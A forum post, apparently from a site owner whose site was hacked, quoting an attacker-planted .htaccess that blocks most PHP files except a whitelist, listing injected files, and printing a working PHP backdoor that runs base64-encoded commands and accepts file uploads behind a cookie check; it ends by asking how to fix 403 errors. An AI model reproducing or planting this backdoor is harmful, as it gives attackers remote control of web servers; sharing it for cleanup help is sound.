<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch '^(index.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php|comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php|filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php|phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php|termps.php|txets.php|thoms.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php|network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|options-reading.php|system_log.php)$'> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> |
2)были вставки в bx_root
3)были вставки в after_prolog
4) ну и куча всяких файлов с непонятными значениями
Код |
---|
<?=409723*20;if(md5($_COOKIE[d])=="17028f487cb2a84607646da3ad3878ec"){echo"ok";eval(base64_decode($_REQUEST[id]));if($_POST["up"]=="up"){@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);}}?> |
Как победить 403 ошибку?